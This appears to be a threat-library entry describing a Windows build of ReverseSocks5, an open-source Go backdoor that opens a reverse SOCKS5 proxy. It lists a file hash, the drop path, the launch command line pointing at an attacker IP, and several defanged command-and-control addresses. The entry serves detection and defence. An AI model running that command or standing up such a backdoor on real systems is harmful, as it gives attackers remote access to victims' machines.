SHA1 hash:
- 6ec8a10a71518563e012f4d24499b12586128c55 (revv2.exe)
Description
An open-source ReverseSocks5 backdoor tool for launching a reverse SOCKS5 proxy on target computers running Microsoft Windows. This tool is written in the Golang programming language. Malicious actors can use it when implementing various attacks to gain remote access to infected systems.
Operating routine
The particular modification in question is downloaded into the target system to C:\\Users\\Public\\Libraries\\revv2.exe and then launched with the parameter -connect IP, where IP is the network address to connect to:
C:\\users\\public\\libraries\\revv2.exe -connect <IP>The following IPs were recorded as being in use:
- 78[.]128.112[.]209
- 96[.]9.125[.]168
There are also modifications with hardcoded IP addresses:
- 188[.]127.231[.]136
- 192[.]168.11[.]10 (in versions that were distributed via the local network)
